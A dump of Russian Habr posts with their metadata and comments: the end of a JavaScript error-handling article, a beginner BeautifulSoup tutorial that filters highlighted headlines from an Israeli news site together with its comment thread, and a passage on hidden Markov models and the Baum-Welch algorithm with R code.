href="https://astexplorer.net/">AST</a>, который в первом приближении разбирает весь код JavaScript на дерево с вершинами. Есть специальные плагины, которые делают необходимые обертки для удобства разработчиков, по типу полифиллов, перегрузок, а также оборачиванию в специальные конструкции. Оборачивать можно, как вы догадались, и обработку ошибок, но данное решение должно иметь острую необходимость, просто имейте это в виду.</p></li></ul><h2>Заключение</h2><p>Выше были рассмотрены вполне стандартные методы обработки ошибок, а также продемонстрированы примеры техник с кодом для популярных пакетов. Дополнением выступают инструменты по автоматизации сбора и обработки ошибок. Подробную информацию читайте по ссылкам.</p><p>Комбинируйте несколько методов и доверяйте проектам с хорошей репутацией. Обязательно логируйте во время разработки, брейкпоинты только помогают понять проблему в конкретном случае, но не являются лекарством.</p><p><strong>Автор:</strong> Ришат Габайдуллов, Руководитель группы практики Frontend компании «Рексофт». </p></div>
Рексофт (Reksoft)
null
null
<p>Привет, Хабр!</p><p>Тема обработки ошибок в JavaScript возникает не только у каждого новичка, но и матерого разработчика. Замечу, что тема уже довольно заезжена, поэтому я позволю себе резюмировать в кратком изложении все, что действительно эффективно и проверено в бою мною, коллегами и гуру IT.</p>
Привет, Хабр! Тема обработки ошибок в JavaScript возникает не только у каждого новичка, но и матерого разработчика. Замечу, что тема уже довольно заезжена, поэтому я позволю себе резюмировать в кратком изложении все, что действительно эффективно и проверено в бою мною, коллегами и гуру IT.
article
1,599,466,482
{ "commentsCount": 1, "favoritesCount": 76, "readingCount": 7655, "score": 11, "votesCount": 13, "votesCountPlus": 12, "votesCountMinus": 1 }
[]
[ "reksoft", "webdev", "javascript", "programming", "debug" ]
[ "develop" ]
[ "javascript", "ошибки в коде", "отладка javascript", "советы программистам" ]
8
null
null
{ "id": [ 22047652 ], "parent_id": [ null ], "level": [ 0 ], "time_published": [ 1599589055 ], "score": [ 0 ], "votes": [ 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Один из лучших докладов на эту тему:<br/>\r\nАртём Кобзарь/Дмитрий Махнёв — (не|ну)жная монада Either на практике и в теории<br/>\r\n<a href=\"https://youtu.be/S0cCjbWuvzk\">Link</a></div>" ], "message_markdown": [ "Один из лучших докладов на эту тему:\nАртём Кобзарь/Дмитрий Махнёв — (не|ну)жная монада Either на практике и в теории\nLink" ], "author": [ "Novokhatskyi Oleksii (NovokhatskyiOleksii)" ], "children": [ [] ] }
544,828
ru
https://habr.com/ru/post/544828/
Облегчаем себе жизнь с помощью BeautifulSoup4
Приветствую всех. В этой статье мы сделаем жизнь чуточку легче, написав легкий парсер сайта на python, разберемся с возникшими проблемами и узнаем ~~все муки пайтона~~ что-то новое. Статья ориентирована на новичков, таких же как и я. ### Начало Для начала разберем задачу. Взял я малоизвестный сайт новостей об Израиле, так как сам проживаю в этой стране, и хочется читать новости без рекламы и не интересных новостей. И так, имеется сайт, на котором постятся новости: есть новости помеченные красным, а есть обычные. Те что обычные — не представляют собой ничего интересного, а отмеченные красным являются самым соком. Рассмотрим наш сайт. Как видно сайт достаточно большой и есть много ненужной информации, а ведь нам нужно использовать лишь контейнер новостей. Давайте использовать мобильную версию сайта, чтобы сэкономить себе же время и силы. Как видите, сервер отдал нам красивый контейнер новостей (которых, кстати, больше чем на основном сайте, что нам на руку) без рекламы и мусора. Давайте рассмотрим исходный код, чтобы понять с чем мы имеем дело. Как видим каждая новость лежит по-отдельности в тэге 'a' и имеет класс 'lenta'. Если мы откроем тэг 'a', то заметим, что внутри есть тэг 'span', в котором находится класс 'time2', либо 'time2 time3', а также время публикации и после закрытия тэга мы наблюдаем сам текст новости. Что отличает важную новость от неважной? Тот самый класс 'time2' или 'time2 time3'. Новости помеченые 'time2 time3' и являются нашими красными новостями. Раз уж суть задачи понятна, перейдем к практике. ### Практика Для работы с парсерами умные люди придумали библиотеку «BeautifulSoup4», в которой есть еще очень много крутых и полезных функций, но об этом в следующий раз. Нам также понадобиться библиотека Requests позволяющая отправлять различные http-запросы. Идем их скачивать. (убедитесь, что стоит последняя версия pip) [code] pip install beautifulsoup4 [/code] [code] pip install requests [/code] Переходим в редактор кода и импортируем наши библиотеки: [code] from bs4 import BeautifulSoup import requests [/code] Для начала сохраним наш URL в переменную: [code] url = 'http://mignews.com/mobile' [/code] Теперь отправим GET()-запрос на сайт и сохраним полученное в переменную 'page': [code] page = requests.get(url) [/code] Проверим подключение: [code] print(page.status_code) [/code] Код вернул нам статус код '200', значит это, что мы успешно подключены и все в полном порядке. Теперь создадим два списка (позже я объясню для чего они нужны): [code] filteredNews = [] allNews = [] [/code] Самое время воспользоваться BeautifulSoup4 и скормить ему наш page, указав в кавычках как он нам поможет 'html.parcer': [code] soup = BeautifulSoup(page.text, "html.parser") [/code] Если попросить его показать, что он там сохранил: [code] print(soup) [/code] Нам вылезет весь html-код нашей страницы. Теперь воспользуемся функцией поиска в BeautifulSoup4: [code] allNews = soup.findAll('a', class_='lenta') [/code] Давайте разберём поподробнее, что мы тут написали. В ранее созданный список 'news' (к которому я обещал вернуться), сохраняем все с тэгом 'а' и классом 'news'. Если попросим вывести в консоль все, что он нашел, он покажет нам все новости, что были на странице: Как видите, вместе с текстом новостей вывелись теги 'a', 'span', классы 'lenta' и 'time2', а также 'time2 time3', в общем все, что он нашел по нашим пожеланиям. Продолжим: [code] for data in allNews: if data.find('span', class_='time2 time3') is not None: filteredNews.append(data.text) [/code] Тут мы в цикле for перебираем весь наш список новостей. Если в новости мы находим тэг 'span' и класc 'time2 time3', то сохраняем текст из этой новости в новый список 'filteredNews'. Обратите внимание, что мы используем '.text', чтобы переформатировать строки в нашем списке из 'bs4.element.ResultSet', который использует BeautifulSoup для своих поисков, в обычный текст. Однажды я застрял на этой проблеме надолго в силу недопонимания работы форматов данных и неумения использовать debug, будьте осторожны. Таким образом теперь мы можем сохранять эти данные в новый список и использовать все методы списков, ведь теперь это обычный текст и, в общем, делать с ним, что нам захочется. Выведем наши данные: [code] for data in filteredNews: print(data) [/code] Вот что мы получаем: Мы получаем время публикации и лишь интересные новости. Дальше можно построить бот в Телеге и выгружать туда эти новости, либо создать виджет на рабочий стол с актуальными новостями. В общем, можно придумать удобный для себя способ узнавать о новостях. Надеюсь эта статья поможет новичкам понять, что можно делать с помощью парсеров и поможет им немного продвинуться вперед с обучением. Спасибо за внимание, был рад поделиться опытом.
<div xmlns="http://www.w3.org/1999/xhtml">Приветствую всех. В этой статье мы сделаем жизнь чуточку легче, написав легкий парсер сайта на python, разберемся с возникшими проблемами и узнаем <s>все муки пайтона</s> что-то новое.<br/> <br/> Статья ориентирована <u>на новичков</u>, таких же как и я.<br/> <a name="habracut"></a><br/> <h3>Начало</h3><br/> Для начала разберем задачу. Взял я малоизвестный сайт новостей об Израиле, так как сам проживаю в этой стране, и хочется читать новости без рекламы и не интересных новостей. И так, имеется сайт, на котором постятся новости: есть новости помеченные красным, а есть обычные. Те что обычные — не представляют собой ничего интересного, а отмеченные красным являются самым соком. Рассмотрим наш сайт.<br/> <br/> <img src="https://habrastorage.org/r/w1560/webt/z9/-o/6m/z9-o6mxwrgi_6l9c-1kdpc82svu.png" data-src="https://habrastorage.org/webt/z9/-o/6m/z9-o6mxwrgi_6l9c-1kdpc82svu.png"/><br/> <br/> Как видно сайт достаточно большой и есть много ненужной информации, а ведь нам нужно использовать лишь контейнер новостей. Давайте использовать мобильную версию сайта, <br/> чтобы сэкономить себе же время и силы.<br/> <br/> <img src="https://habrastorage.org/r/w1560/webt/c2/hl/et/c2hlettxhyfzvr1aveovj8rnqqs.png" data-src="https://habrastorage.org/webt/c2/hl/et/c2hlettxhyfzvr1aveovj8rnqqs.png"/><br/> <br/> Как видите, сервер отдал нам красивый контейнер новостей (которых, кстати, больше чем на основном сайте, что нам на руку) без рекламы и мусора. <br/> <br/> Давайте рассмотрим исходный код, чтобы понять с чем мы имеем дело.<br/> <br/> <img src="https://habrastorage.org/r/w1560/webt/pr/gr/gw/prgrgwsy7vj6elyqipmkpoc2pqk.png" data-src="https://habrastorage.org/webt/pr/gr/gw/prgrgwsy7vj6elyqipmkpoc2pqk.png"/><br/> <br/> Как видим каждая новость лежит по-отдельности в тэге 'a' и имеет класс 'lenta'. Если мы откроем тэг 'a', то заметим, что внутри есть тэг 'span', в котором находится класс 'time2', либо 'time2 time3', а также время публикации и после закрытия тэга мы наблюдаем сам текст новости.<br/> <br/> Что отличает важную новость от неважной? Тот самый класс 'time2' или 'time2 time3'. Новости помеченые 'time2 time3' и являются нашими красными новостями. Раз уж суть задачи понятна, перейдем к практике.<br/> <br/> <h3>Практика</h3><br/> Для работы с парсерами умные люди придумали библиотеку «BeautifulSoup4», в которой есть еще очень много крутых и полезных функций, но об этом в следующий раз. Нам также понадобиться библиотека Requests позволяющая отправлять различные http-запросы. Идем их скачивать.<br/> <br/> (убедитесь, что стоит последняя версия pip) <br/> <br/> <pre><code class="bash">pip install beautifulsoup4 </code></pre><br/> <pre><code class="bash">pip install requests</code></pre><br/> Переходим в редактор кода и импортируем наши библиотеки:<br/> <br/> <pre><code class="python">from bs4 import BeautifulSoup import requests</code></pre><br/> Для начала сохраним наш URL в переменную:<br/> <br/> <pre><code class="python">url = 'http://mignews.com/mobile'</code></pre><br/> Теперь отправим GET()-запрос на сайт и сохраним полученное в переменную 'page':<br/> <br/> <pre><code class="python">page = requests.get(url)</code></pre><br/> Проверим подключение:<br/> <br/> <pre><code class="python">print(page.status_code)</code></pre><br/> Код вернул нам статус код '200', значит это, что мы успешно подключены и все в полном порядке.<br/> <br/> Теперь создадим два списка (позже я объясню для чего они нужны):<br/> <br/> <pre><code class="python"> filteredNews = [] allNews = [] </code></pre><br/> Самое время воспользоваться BeautifulSoup4 и скормить ему наш page, указав в кавычках как он нам поможет 'html.parcer':<br/> <br/> <pre><code class="python">soup = BeautifulSoup(page.text, "html.parser")</code></pre><br/> Если попросить его показать, что он там сохранил:<br/> <br/> <pre><code class="python">print(soup)</code></pre><br/> Нам вылезет весь html-код нашей страницы.<br/> <br/> Теперь воспользуемся функцией поиска в BeautifulSoup4:<br/> <br/> <pre><code class="python">allNews = soup.findAll('a', class_='lenta')</code></pre><br/> Давайте разберём поподробнее, что мы тут написали.<br/> <br/> В ранее созданный список 'news' (к которому я обещал вернуться), сохраняем все с тэгом 'а' и классом 'news'. Если попросим вывести в консоль все, что он нашел, он покажет нам все новости, что были на странице:<br/> <br/> <img src="https://habrastorage.org/r/w1560/webt/b3/2p/zb/b32pzbm08z1qgoukldd_zaaryp8.png" data-src="https://habrastorage.org/webt/b3/2p/zb/b32pzbm08z1qgoukldd_zaaryp8.png"/><br/> <br/> Как видите, вместе с текстом новостей вывелись теги 'a', 'span', классы 'lenta' и 'time2', а также 'time2 time3', в общем все, что он нашел по нашим пожеланиям.<br/> <br/> Продолжим:<br/> <br/> <pre><code class="python">for data in allNews: if data.find('span', class_='time2 time3') is not None: filteredNews.append(data.text)</code></pre><br/> Тут мы в цикле for перебираем весь наш список новостей. Если в новости мы находим тэг 'span' и класc 'time2 time3', то сохраняем текст из этой новости в новый список 'filteredNews'. <br/> <br/> Обратите внимание, что мы используем '.text', чтобы переформатировать строки в нашем списке из 'bs4.element.ResultSet', который использует BeautifulSoup для своих поисков, в обычный текст. <br/> <br/> Однажды я застрял на этой проблеме надолго в силу недопонимания работы форматов данных и неумения использовать debug, будьте осторожны. Таким образом теперь мы можем сохранять эти данные в новый список и использовать все методы списков, ведь теперь это обычный текст и, в общем, делать с ним, что нам захочется.<br/> <br/> Выведем наши данные:<br/> <br/> <pre><code class="python"> for data in filteredNews: print(data) </code></pre><br/> Вот что мы получаем:<br/> <br/> <img src="https://habrastorage.org/r/w1560/webt/2s/n9/z1/2sn9z1tijed9en18unxruwpjynq.png" data-src="https://habrastorage.org/webt/2s/n9/z1/2sn9z1tijed9en18unxruwpjynq.png"/><br/> <br/> Мы получаем время публикации и лишь интересные новости.<br/> <br/> Дальше можно построить бот в Телеге и выгружать туда эти новости, либо создать виджет на рабочий стол с актуальными новостями. В общем, можно придумать удобный для себя способ узнавать о новостях.<br/> <br/> Надеюсь эта статья поможет новичкам понять, что можно делать с помощью парсеров и поможет им немного продвинуться вперед с обучением.<br/> <br/> Спасибо за внимание, был рад поделиться опытом.</div>
Michael Bishop (tobbymarshall815)
null
null
Приветствую всех. В этой статье мы сделаем жизнь чуточку легче, написав легкий парсер сайта на python, разберемся с возникшими проблемами и узнаем <s>все муки пайтона</s> что-то новое.<br> <br> Статья ориентирована <u>на новичков</u>, таких же как и я.<br>
Приветствую всех. В этой статье мы сделаем жизнь чуточку легче, написав легкий парсер сайта на python, разберемся с возникшими проблемами и узнаем ~~все муки пайтона~~ что-то новое. Статья ориентирована на новичков, таких же как и я.
article
1,614,604,312
{ "commentsCount": 9, "favoritesCount": 62, "readingCount": 104649, "score": 4, "votesCount": 6, "votesCountPlus": 5, "votesCountMinus": 1 }
[ "sandbox" ]
[ "python" ]
[ "develop" ]
[ "python3", "парсер", "работа с данными", "работа со списками", "парсинг данных", "beautiful soup", "beautifulsoup", "requests" ]
3
null
null
{ "id": [ 22750482, 22750510, 22750712, 22750798, 22752374, 22756898, 22808864, 22808866, 24966992 ], "parent_id": [ null, 22750482, 22750510, 22750712, null, 22752374, 22752374, null, null ], "level": [ 0, 1, 2, 3, 0, 1, 1, 0, 0 ], "time_published": [ 1614607284, 1614607610, 1614609516, 1614610512, 1614641536, 1614719759, 1615817232, 1615817234, 1669847100 ], "score": [ 4, 0, 0, 0, 0, 0, 0, 0, 0 ], "votes": [ 4, 0, 0, 0, 0, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>В общем, можно придумать удобный для себя способ узнавать о новостях.</blockquote><br/>\r\nЭто можно было сделать гораздо проще с помощью RSS — практически любой новостной сайт отдает свою ленту в RSS.<br/>\r\n<br/>\r\nВот так <br/>\r\n<pre><code class=\"python\">for i in range(len(news)):\n if news[i].find('span', class_='time2 time3') is not None:\n new_news.append(news[i].text)\n</code></pre><br/>\r\nникто не пишет, в пайтоне это делают так:<br/>\r\n<br/>\r\n<pre><code class=\"python\">for news_item in news:\n if news_item.find('span', class_='time2 time3') is not None:\n new_news.append(news_item.text)\n</code></pre><br/>\r\n<br/>\r\nА если кроме самого элемента нужно иметь и доступ к индексу, то пользуются enumerate:<br/>\r\n<pre><code class=\"python\">for i, news_item in enumerate(news):\n print(i, news_item)\n</code></pre></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Спасибо, возьму на заметку.<br/>\r\nRss у них, к сожалению, отдает не фильтрованные новости, по этому не мог им пользоваться. </p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Всмысле нефильтрованные? В RSS те же новости что и в блоке «Лента новостей».<br/>\r\nRSS разбирать гораздо проще и надежнее чем парсить html</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Да, проблема лишь в том что отличить важные новости, от не важных невозможно.<br/>\r\nИспользовал парсинг html, ибо там можно отличить такие новости — по красному бекграунду времени поста и легко найти по специфическому классу элемента.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вся Ваша программа с учетом замечаний располагается ниже этого текста, и она <u><b>не выполняет</b></u> поставленную <u><b>цель — найти только «красные»</b></u>, <u><b>т.е. с class_=«time3»</b></u>, результат ее работы не будет выдавать всё с классом «time3». На хабре, как я погляжу, есть проверяющие качество комментариев, а вот проверяющих качество самих статей нет. В который раз <u><b>верю</b></u>, что то, что описано в статье (код) заработает, а оно не работает. «А включаешь — не работает» (с) Жванецкий.<br/>\r\nПора вводить новую профессию — <s>Храбрый</s> <b>Хабрый unit-tester</b> статей Хабра<br/>\r\n<br/>\r\n<pre><code class=\"python\">from bs4 import BeautifulSoup\nimport requests\nurl = 'http://mignews.com/mobile'\npage = requests.get(url)\n#Проверим подключение:\nprint(page.status_code)\n\nnew_news = []\nnews = []\n\n#Самое время воспользоваться BeautifulSoup4 и скормить ему наш page, \n#указав в кавычках как он нам поможет 'html.parcer':\nsoup = BeautifulSoup(page.text, \"html.parser\")\n#Если попросить его показать, что он там сохранил:\n#print(soup)\n\n#Теперь воспользуемся функцией поиска в BeautifulSoup4:\nnews = soup.findAll('a', class_='lenta')\n\nfor news_item in news:\n if news_item.find('span', class_='time2 time3') is not None:\n new_news.append(news_item.text)\n\nprint(f\"{news_item =}\")\n</code></pre><br/>\r\n<br/>\r\nполучил одну строку невырезанного текста:<br/>\r\n<br/>\r\n<pre><code class=\"diff\">200\nnews_item =&lt;a class=\"lenta\" href=\"/mobile/article.html?id=280221_143704_38808\">&lt;span class=\"time2\">14:37&lt;/span> Сотни граждан идут в Иерусалим пешком&lt;/a>\n\n</code></pre></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не совсем понял как можно достучатся к news_item снаружи цикла… <br/>\r\nНо при переборе, при наличии двух классов, мы добавляем в массив new_news…<br/>\r\nРаспечатав именно <u>new_news:</u><pre><code class=\"python\">for data in new_news:\n print(data)</code></pre> я получил нужный результат:<br/>\r\n<br/>\r\n<code>21:10 COVID-19: самое низкое число тяжелобольных с 30 декабря<br/>\r\n20:56 Ганц: под прицелом МУС могут оказаться сотни бойцов ЦАХАЛа<br/>\r\n20:27 США ввели санкции против РФ из-за Навального: полный список<br/>\r\n17:55 Решение кабинета коронавируса по предвыборным мероприятиям<br/>\r\n17:25 В Израиле выявлено три случая заражения нью-йоркским штаммом<br/>\r\n16:30 Иран: мы следим за поведением Израиля в регионе<br/>\r\n15:01 Либерман: Пресечь террор против фермеров на Юге<br/>\r\n12:23 Австрия: в сфере вакцин вместо ЕС будем работать с Израилем<br/>\r\n10:39 Врачи Израиля против дискриминации<br/>\r\n09:01 Ответ Ирану: Конфликт главы Моссада и начальника Генштаба<br/>\r\n08:02 Коронавирус стал причиной повышенной смертности в Израиле<br/>\r\n07:12 Правительство приняло решение об ослаблении ограничений<br/>\r\n21:45 Реакция политиков на решение БАГАЦ<br/>\r\n19:58 Мири Регев представит план открытия Бен-Гурион 7 марта<br/>\r\n19:45 Историческое решение БАГАЦ о гиюрах<br/>\r\n15:57 Николя Саркози осудили на три года<br/>\r\n</code><br/>\r\n<br/>\r\nПисал статью 2 года назад, тогда еще были проблемы с наименованием переменных, возможно и вас запутал… исправлю сейчас.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">from bs4 import BeautifulSoup<br/>\r\nimport requests<br/>\r\nurl = 'http://samotlor.tv'<br/>\r\npage = requests.get(url)<br/>\r\n<br/>\r\n#print(page.status_code)<br/>\r\n<br/>\r\nnew_news = []<br/>\r\nnews = []<br/>\r\nnews_item = []<br/>\r\n<br/>\r\nsoup = BeautifulSoup(page.text, «html.parser»)<br/>\r\n#soup2 = str(soup)<br/>\r\n#with open('my_file.txt', 'w') as f:<br/>\r\n# f.write(soup2) <br/>\r\n<br/>\r\nnews = soup.findAll('h4', class_=«entry-title»)<br/>\r\n#print(news)<br/>\r\n<br/>\r\nfor news_item in news:<br/>\r\n if news_item.find('a') is not None:<br/>\r\n new_news.append(news_item.text)<br/>\r\n <br/>\r\n#for i in range(len(new_news)):<br/>\r\n #print(new_news[i])<br/>\r\n<br/>\r\nwith open('my_file3.txt', 'w') as f:<br/>\r\n f.write(\"\\n\".join(new_news)) <br/>\r\n <br/>\r\nf.close()</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><pre><code class=\"python\">for n in BeautifulSoup(content, \"lxml\").findAll('a', {\"class\":\"lenta\"}):\n if n.find(\"span\", {\"class\":\"time3\"}):\n print(n.text)</code></pre></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>А как искать теги у которых не указан class? </p></div>" ], "message_markdown": [ "> В общем, можно придумать удобный для себя способ узнавать о новостях.\nЭто можно было сделать гораздо проще с помощью RSS — практически любой новостной сайт отдает свою ленту в RSS.\nВот так\n[code]\n for i in range(len(news)):\n if news[i].find('span', class_='time2 time3') is not None:\n new_news.append(news[i].text)\n[/code]\nникто не пишет, в пайтоне это делают так:\n[code]\n for news_item in news:\n if news_item.find('span', class_='time2 time3') is not None:\n new_news.append(news_item.text)\n[/code]\nА если кроме самого элемента нужно иметь и доступ к индексу, то пользуются enumerate:\n[code]\n for i, news_item in enumerate(news):\n print(i, news_item)\n[/code]", "Спасибо, возьму на заметку.\nRss у них, к сожалению, отдает не фильтрованные новости, по этому не мог им пользоваться.", "Всмысле нефильтрованные? В RSS те же новости что и в блоке «Лента новостей».\nRSS разбирать гораздо проще и надежнее чем парсить html", "Да, проблема лишь в том что отличить важные новости, от не важных невозможно.\nИспользовал парсинг html, ибо там можно отличить такие новости — по красному бекграунду времени поста и легко найти по специфическому классу элемента.", "Вся Ваша программа с учетом замечаний располагается ниже этого текста, и она не выполняет поставленную цель — найти только «красные», т.е. с class_=«time3», результат ее работы не будет выдавать всё с классом «time3». На хабре, как я погляжу, есть проверяющие качество комментариев, а вот проверяющих качество самих статей нет. В который раз верю, что то, что описано в статье (код) заработает, а оно не работает. «А включаешь — не работает» (с) Жванецкий.\nПора вводить новую профессию — ~~Храбрый~~ Хабрый unit-tester статей Хабра\n[code]\n from bs4 import BeautifulSoup\n import requests\n url = 'http://mignews.com/mobile'\n page = requests.get(url)\n #Проверим подключение:\n print(page.status_code)\n new_news = []\n news = []\n #Самое время воспользоваться BeautifulSoup4 и скормить ему наш page,\n #указав в кавычках как он нам поможет 'html.parcer':\n soup = BeautifulSoup(page.text, \"html.parser\")\n #Если попросить его показать, что он там сохранил:\n #print(soup)\n #Теперь воспользуемся функцией поиска в BeautifulSoup4:\n news = soup.findAll('a', class_='lenta')\n for news_item in news:\n if news_item.find('span', class_='time2 time3') is not None:\n new_news.append(news_item.text)\n print(f\"{news_item =}\")\n[/code]\nполучил одну строку невырезанного текста:\n[code]\n 200\n news_item =<a class=\"lenta\" href=\"/mobile/article.html?id=280221_143704_38808\"><span class=\"time2\">14:37</span> Сотни граждан идут в Иерусалим пешком</a>\n[/code]", "Не совсем понял как можно достучатся к news_item снаружи цикла...\nНо при переборе, при наличии двух классов, мы добавляем в массив new_news...\nРаспечатав именно new_news:\n[code]\n for data in new_news:\n print(data)\n[/code]\nя получил нужный результат:\n`21:10 COVID-19: самое низкое число тяжелобольных с 30 декабря\n20:56 Ганц: под прицелом МУС могут оказаться сотни бойцов ЦАХАЛа\n20:27 США ввели санкции против РФ из-за Навального: полный список\n17:55 Решение кабинета коронавируса по предвыборным мероприятиям\n17:25 В Израиле выявлено три случая заражения нью-йоркским штаммом\n16:30 Иран: мы следим за поведением Израиля в регионе\n15:01 Либерман: Пресечь террор против фермеров на Юге\n12:23 Австрия: в сфере вакцин вместо ЕС будем работать с Израилем\n10:39 Врачи Израиля против дискриминации\n09:01 Ответ Ирану: Конфликт главы Моссада и начальника Генштаба\n08:02 Коронавирус стал причиной повышенной смертности в Израиле\n07:12 Правительство приняло решение об ослаблении ограничений\n21:45 Реакция политиков на решение БАГАЦ\n19:58 Мири Регев представит план открытия Бен-Гурион 7 марта\n19:45 Историческое решение БАГАЦ о гиюрах\n15:57 Николя Саркози осудили на три года\n`\nПисал статью 2 года назад, тогда еще были проблемы с наименованием переменных, возможно и вас запутал... исправлю сейчас.", "from bs4 import BeautifulSoup\nimport requests\nurl = 'http://samotlor.tv'\npage = requests.get(url)\n#print(page.status_code)\nnew_news = []\nnews = []\nnews_item = []\nsoup = BeautifulSoup(page.text, «html.parser»)\n#soup2 = str(soup)\n#with open('my_file.txt', 'w') as f:\n# f.write(soup2)\nnews = soup.findAll('h4', class_=«entry-title»)\n#print(news)\nfor news_item in news:\nif news_item.find('a') is not None:\nnew_news.append(news_item.text)\n#for i in range(len(new_news)):\n#print(new_news[i])\nwith open('my_file3.txt', 'w') as f:\nf.write(\"\\n\".join(new_news))\nf.close()", "[code]\n for n in BeautifulSoup(content, \"lxml\").findAll('a', {\"class\":\"lenta\"}):\n if n.find(\"span\", {\"class\":\"time3\"}):\n print(n.text)\n[/code]", "А как искать теги у которых не указан class?" ], "author": [ "yakimka8", "Michael Bishop (tobbymarshall815)", "yakimka8", "Michael Bishop (tobbymarshall815)", "Николай Димов (JQuery567)", "Michael Bishop (tobbymarshall815)", "Kirill (djkroq)", "JeesOk", "hulitolku" ], "children": [ [ 22750510 ], [ 22750712 ], [ 22750798 ], [], [ 22756898, 22808864 ], [], [], [], [] ] }
188,244
ru
https://habr.com/ru/post/188244/
Скрытые цепи Маркова, алгоритм Баума-Велша
Скрытые модели/цепи Маркова одни из подходов к представлению данных. Мне очень понравилось как обобщается множество таких подходов в этой статье. В продолжение же моей предыдущей статьи описания скрытых моделей Маркова, задамся вопросом: откуда взять хорошую модель? Ответ достаточно стандартен, взять неплохую модель и сделать из нее хорошую. Напомню пример: нам нужно реализовать детектор лжи, который по подрагиванию рук человека, определяет, говорит он правду или нет. Допустим, когда человек лжет, руки трясутся чуть больше, но нам не известно на сколько именно. Возьмем модель наобум, прогоним алгоритм Витерби из предыдущей статьи и получим довольно странные результаты: Никакого смысла в получившемся разбиении нет; точнее, есть, но не то который хотелось бы видеть. Первый вопрос: как оценить вероятность появления имеющейся выборки в выбранной модели. И второй вопрос, как найти такую модель, в которой имеющаяся выборка была бы наиболее правдоподобна, то есть как оценить качество и как организовать адаптивность к новым данным. Как раз на них и отвечают the forward-backward procedure и the Baum-Welch reestimation procedure. The forward-backward procedure позволяет оценить вероятность того, что в данной модели HMM появится выборка наблюдаемых значений (Обозначения взяты из предыдущей статьи). Обозначим оценочную функцию как . И введем две дополнительные функции: [code] AlphaFunc<-function(S,I,T,P,O,Tm) { la<-I*Es(P,O[1]) alpha<-cbind(la) for(t in 2:Tm) { la<-as.vector((la*Es(P,O[t]))%*%T) alpha<-cbind(alpha,la) } return (alpha) } BetaFunc<-function(S,I,T,P,O,Tm) { lb<-rep(1,length(S)) beta<-cbind(lb) for(t in Tm:2) { lb<-as.vector(T%*%(Es(P,O[t])*lb)) beta<-cbind(lb, beta) } return (beta) } [/code] Функции , обладают следующими интересными свойствами: Итак, мы уже умеем оценивать появление выборки O в модели HMM и находить последовательность скрытых состояний . Открытым остается вопрос, как найти модель, в которой вероятность появления имеющейся выборки будет максимальной, то есть , где некоторое множество допустимых моделей. Как утверждается, формального алгоритма нахождения оптимума нет, но зачастую можно хотя бы на капельку приблизиться к «совершенству», за счёт некоторой модификации модели. Именно так и работают итерационные EM-алгоритмы. Итак, пусть есть начальная модель необходимо найти такую модель , что . Приступим. Введем еще две вспомогательные функции: [code] xiGamma<-function(t,alpha,beta,S,T,P,O) { xi<-matrix(0,nrow=length(S),ncol=length(S)) denom<-alpha[,t]%*%beta[,t] for(sin in S) { for(sout in S) { nom<-alpha[sin,t]*T[sin,sout]*Es(P,O[t+1])[sout]*beta[sout,t+1] xi[sin,sout]<-nom/denom } } return(list(xi=xi,g=rowSums(xi))) } XiGammas<-function(Tm,alpha,beta,S,T,P,O) { xis<-c() gs<-c() for(t in 1:(Tm-1)) { xg<-xiGamma(t,alpha,beta,S,T,P,O) xis<-cbind(xis,as.vector(xg$xi)) gs<-cbind(gs,as.vector(xg$g)) } return(list(xi=xis,g=gs)) } [/code] интерпретируется как доля переходов из состояния s в состояние s’ в момент времени t, а – как общая доля переходов из состояния s в момент времени t. Подправленные параметры модели будут иметь следующий вид: [code] BaumWelshFunc<-function(S,I,T,P,O,Tm) { a<-alphaLog(S,I,T,P,O,Tm) b<-betaLog(S,I,T,P,O,Tm) xg<-XiGammas(Tm, a,b, S,T,P,O) xi<-rowSums(xg$xi) dim(xi)<-c(length(S),length(S)) g<-rowSums(xi) new_I <- g/sum(g) small_t<-rep(g,length(S)) dim(small_t)<-c(length(S),length(S)) new_T <- xi/small_t norm_params<-NormalReestimation(xg$g,O[1:(Tm-1)],S) new_P<-c() for(s in S) { new_P<-c(new_P,Curry("dnorm",mean=norm_params$mu[s], sd=sqrt(norm_params$sigma2[s]))) } return(list(S=S,I=new_I,T=new_T,P=new_P,N=norm_params)) } [/code] Перенастройка функции (NormalReestimation в нашем случае) зависит от конкретной ситуации. Классическая реализация алгоритма предполагает, что наблюдения описываются конечными дискретными распределениями, что нам не подходит. Предлагается использовать следующий метод оценки параметров для наблюдаемых величин: [code] NormalReestimation<-function(g,O,S) { denom<-rowSums(g) mu<-g%*%O/denom sigma2<-c() for(s in S) { s2<-g[s,]%*%(O-mu[s])^2 sigma2<-c(sigma2,s2) } return(list(mu=as.vector(mu),sigma2=sigma2/denom)) } [/code] Рассмотрим задачу о детекторе лжи в более общем варианте. У нас есть общая модель того, как наш детектор лжи реагирует на ложь и искренность субъектов и есть конкретный индивид, который иногда врет иногда говорит правду. Мы хотим настроить нашу модель на работу с этим, конкретным индивидом. Дано: Модель. Имеются два скрытых состояния, когда сферический человек говорит правду и когда лжет. В том и в другом случае подёргивание рук можно представить как белый шум, но диспер Выборка из 10000 последовательных наблюдений за нашим индивидом. Необходимо: 1. Оценить дисперсию подрагивания рук в случае искренности/лжи этого индивида. 2. Определить моменты смены этих состояний для него. Решение: 1. Зададим нашу пятерку: 1. Число состояний ; 2. Состояния ; 3. Начальное распределение ; 4. По умолчанию предположим, что состояния равноправны и скажем смена происходит в среднем, раз в 999 тактов времени: ; 5. , где . Поясню, что – это выборочная дисперсия для всей выборки целиком. Начальные оценочные функции для выбираются таким образом, чтобы первое состояние отвечало меньшим значениям дисперсии, а второе – большим. Существенно, что они разные. 2. Будем перенастраивать параметры с помощью алгоритма Баума-Велша до тех пор, пока значение оценочной функции не стабилизируется. 3. Найдем наиболее правдоподобные скрытые состояния для каждого момента времени с помощью алгоритма Витерби. Ответ проиллюстрируем на данных с первой картинки: сверху состояния, как они были заданы при моделировании, снизу состояния, которые были выделены с помощью метода скрытых цепей Маркова. На графике ниже приведем значения логарифма 